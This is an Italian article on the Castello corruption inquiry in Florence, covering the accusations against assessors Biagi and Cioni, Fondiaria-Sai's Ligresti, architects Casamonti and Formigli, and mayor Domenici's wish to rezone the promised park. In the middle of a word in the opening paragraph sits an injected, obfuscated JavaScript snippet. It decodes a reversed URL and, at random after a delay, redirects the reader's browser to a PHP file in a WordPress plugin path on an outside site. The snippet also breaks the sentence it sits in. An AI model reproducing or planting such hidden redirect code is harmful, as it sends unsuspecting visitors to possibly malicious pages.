L’antico vizio del potere – L’inchiesta su Castello

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La vicenda di Castello è una vicenda complessa. Figlia di un modello di sviluppo economico vecchio, basato sul mattone, sulla costruzione di gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi opere, pubbliche e private, e non su interventi finalizzati al benessere di chi la città la abita, la vive, la soffre. La vicenda di Castello è anche una storia di palazzinari, di speculatori e di politici intraprendenti. Ed è la storia, naturalmente, dell’intreccio perverso di relazioni tra loro, che qualcuno ha il coraggio di chiamare “urbanistica contrattata”. La vicenda di Castello è anche l’epilogo del governo di Leonardo Domenici e della maggioranza che l’ha sostenuto. Un’avventura amministrativa lunga un decennio dal costo troppo alto per tutti coloro che “contrattare” non possono.
Tutto inizia quando la magistratura incappa per caso in alcune telefonate sospette, all’interno di un’inchiesta che vede indagato e intercettato l’architetto Gaetano Di Benedetto, massimo dirigente dell’urbanistica fiorentina. Per queste telefonate viene aperta un’altra inchiesta che nel giro di pochi mesi, il 18 novembre scorso, porta a sette avvisi di garanzia: sono indagati per corruzione gli assessori comunali Gianni Biagi (urbanistica) e Graziano Cioni (sicurezza); il presidente di Fondiaria-Sai Salvatore Ligresti (proprietario dell’area) e il suo assistente Fausto Rapisarda; tre tecnici che lavorano al progetto di urbanizzazione dell’area di Castello, 168 ettari adiacenti all’aeroporto di Peretola, tra l’autostrada, la ferrovia e il comune di Sesto Fiorentino.
Corruzione quindi. Ma questa volta non ci sono valigette piene di soldi. La tesi della magistratura è che il gruppo Fondiaria-Sai abbia instaurato un «rapporto corruttivo» con i due assessori, basato su «promesse e dazioni» da parte dell’impresa e da «atti contrari ai doveri d’ufficio» da parte degli amministratori, che avrebbero così tradito il loro mandato non lavorando per il bene comune della collettività.
Prendiamo ad esempio il caso di Gianni Biagi. Il magistrato che firma per il sequestro del cantiere di Castello spiega che l’ex assessore avrebbe
(segue dalla prima) conseguito vantaggi in termini di crescita del suo potere, sia nell’interesse del partito sia nell’aspirazione ad un successo politico personale. Leggendo le intercettazioni si capisce che Biagi ha avuto la facoltà di indicare a Fondiaria-Sai i progettisti a cui poi venivano conferiti incarichi professionali molto “sostanziosi”. Come nel caso dell’architetto Marco Casamonti, anche lui indagato per corruzione nella stessa inchiesta, suggerito da Biagi per progettare a Castello alcuni edifici direzionali per un incarico da 500.000 euro, e infine arrestato il 12 dicembre con l’accusa di turbativa d’asta per una gara d’appalto del Comune di Terranuova Bracciolini.
Casamonti va citato perché è un architetto rampante che appare un po’ ovunque. Ad esempio come firmatario dell’appello per candidare a sindaco di Firenze «per la sua intelligenza e la sua cultura amministrativa» Riccardo Conti, assessore all’urbanistica della Regione Toscana. Quello stesso Conti che nel 2005 acquista un attico con mansarda nel complesso Dalmazia di viale Corsica: cinque vani più garage, all’incredibile prezzo di 257.000 euro. Conti non è inquisito, ma la notizia dell’appartamento “low cost” emerge dalle indagini della Procura di Firenze dell’aprile scorso, che mettono nei guai con l’accusa di corruzione il presidente dell’ordine degli architetti Riccardo Bartoloni e l’architetto Alberto Formigli. Altro intreccio tra politica e affari: Formigli infatti è allo stesso tempo presidente della commissione urbanistica del Comune di Firenze e socio di Quadra, l’impresa che ha progettato i 188 appartamenti e i 366 posti auto del centro Dalmazia. Promosso poi capogruppo del PD a Palazzo Vecchio, oggi Formigli è tornato un semplice consigliere, travolto dall’ondata di indignazione post Castello.
La politica sembra quindi aver dimenticato l’interesse pubblico a vantaggio del profitto di pochi. Sul finire dell’estate – e torniamo all’affare Castello – il sindaco Leonardo Domenici (non indagato) si sente al telefono con il fedele assessore all’urbanistica Gianni Biagi e definisce così l’unica compensazione pubblica per la costruzione di oltre un milione e 400.000 metri cubi di cemento, ovvero il Parco di 80 ettari: «Mi fa cacare da sempre… è chiaro?». Parte così la macchina burocratica per cambiare la destinazione dell’area verde e trasformarla in una zona edificabile, dove collocare la “cittadella viola” del presidente della Fiorentina Della Valle. Una manovra che, per sfortuna del sindaco e fortuna di chi non respira cemento, viene bloccata dal Consiglio Comunale dove ormai il PD è minoranza.
Ai giornalisti e ai politici dell’opposizione che raccontano e commentano queste vicende, il sindaco risponde con querele e minacce, fino ad incatenarsi sotto la sede di Repubblica a Roma. Restano però come pietre le parole dell’ex assessore alla cultura Simone Siliani, ben informato, quindi, di come funziona il governo Domenici: «Ciò che si è fatto o non fatto negli ultimi 10 anni a Firenze, è stato fatto o meno perché lui lo ha voluto o non lo ha voluto».

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